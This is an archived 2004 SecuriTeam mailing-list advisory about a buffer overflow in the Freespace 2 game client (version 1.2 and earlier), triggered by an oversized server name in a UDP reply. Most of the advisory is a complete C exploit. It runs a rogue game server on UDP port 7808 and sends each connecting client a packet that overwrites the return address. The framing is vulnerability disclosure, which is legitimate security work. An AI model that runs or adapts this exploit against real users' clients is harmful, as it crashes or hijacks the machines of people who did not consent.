[NT] Freespace 2 Client Buffer Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 03/07/04

  • Next message: SecuriTeam: "[EXPL] WFTPd STAT Command Remote Vulnerability Exploit"
    To: list@securiteam.com
    Date: 7 Mar 2004 12:54:12 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Freespace 2 Client Buffer Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.freespace2.com/> Freespace 2 is a space combat game developed
    by Volition. The Freespace 2 client handles incoming UDP packets from the
    game server in an incorrect manner. The bug could lead to a buffer
    overflow condition on the system running the game.

    DETAILS

    Vulnerable Systems:
     * Freespace 2 version 1.2 or prior

    If the server name field in the UDP reply packet exceeds 180 characters,
    the return address of the function which processes the information will be
    completely overwritten, enabling remote code execution.

    Exploit:
    /*

    by Luigi Auriemma - http://aluigi.altervista.org/poc/fs2cbof.zip

    UNIX & WIN VERSION
    */

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    #ifdef WIN32
        #include <winsock.h>
        #include "winerr.h"

        #define close closesocket
    #else
        #include <unistd.h>
        #include <sys/socket.h>
        #include <sys/types.h>
        #include <arpa/inet.h>
        #include <netdb.h>
    #endif

    #define VER "0.1"
    #define BUFFSZ 2048
    #define PORT 7808
    // #define PORT 7802 DEMO PORT
    #define RETADDR "\xde\xc0\xad\xde"

    void std_err(void);

    int main(int argc, char *argv[]) {
        int sd,
                    on = 1,
                    psz;
        struct sockaddr_in peer;
        u_char *buff,
                    pck[] =
                    "\x00\xe1\x2e\x2e"
                    "\x00\x00\x00\x00"
                    
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    
    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
                    RETADDR;

        setbuf(stdout, NULL);

        fputs("\n"
            "Freespace 2 <= 1.2 client buffer overflow "VER"\n"
            "by Luigi Auriemma\n"
            "e-mail: aluigi@altervista.org\n"
            "web: http://aluigi.altervista.org\n"
            "\n", stdout);

    #ifdef WIN32
        WSADATA wsadata;
        WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif

        peer.sin_addr.s_addr = INADDR_ANY;
        peer.sin_port = htons(PORT);
        peer.sin_family = AF_INET;
        psz = sizeof(peer);

        printf("\nBinding UDP port %u\n", PORT);

        sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sd < 0) std_err();

        if(setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on))
          < 0) std_err();
        if(bind(sd, (struct sockaddr *)&peer, psz)
          < 0) std_err();

        buff = malloc(BUFFSZ);
        if(!buff) std_err();

        *(u_long *)(pck + 4) = strlen(pck + 8);

        printf("Return address will be overwritten by 0x%08lx\n", *(u_long
    *)RETADDR);

        fputs("\nClients:\n", stdout);
        while(1) {
            if(recvfrom(sd, buff, BUFFSZ, 0, (struct sockaddr *)&peer, &psz)
              < 0) std_err();

            printf("%s:%hu --> ", inet_ntoa(peer.sin_addr),
    htons(peer.sin_port));

            if(sendto(sd, pck, sizeof(pck) - 1, 0, (struct sockaddr *)&peer,
    psz)
              < 0) std_err();
            fputs("BOOM\n", stdout);
        }

        close(sd);
        return(0);
    }

    #ifndef WIN32
        void std_err(void) {
            perror("\nError");
            exit(1);
        }
    #endif

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:aluigi@altervista.org> Luigi
    Auriemma.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] WFTPd STAT Command Remote Vulnerability Exploit"

    Relevant Pages

    • [UNIX] Solaris Socket Hijack Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... By binding a socket with an already binded port number of specific IP ... attackers can hijack an already binded sockets in Solaris. ... A bug with Solaris Kernel flag of SO_REUSEADDR cause the Kernel to accept ...
      (Securiteam)
    • [EXPL] Quake 3 Buffer Overflow (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... port and exit cleanly with an unsuspicious error message. ... unsigned char ipx; ... int hooklen; // for both sendservercommand and directconnect ...
      (Securiteam)
    • [NT] Multiple vulnerabilities in Hired Team: Trial
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Hired Team is a nice FPS game developed by New Media ... allows an attacker to join a server (that doesn't have password support, ... Each time a new player joins, the server assigns an UDP port to him ...
      (Securiteam)
    • [TOOL] IRC DCC Connect() Blind Port Scanner
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... IRC DCC ConnectBlind Port Scanner ... After waiting a short while for the mIRC client ...
      (Securiteam)
    • [NT] SLMail Pro Multiple Denial of Service
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... The SLMail Pro Web Service running on port 801 is ... int main{ ...
      (Securiteam)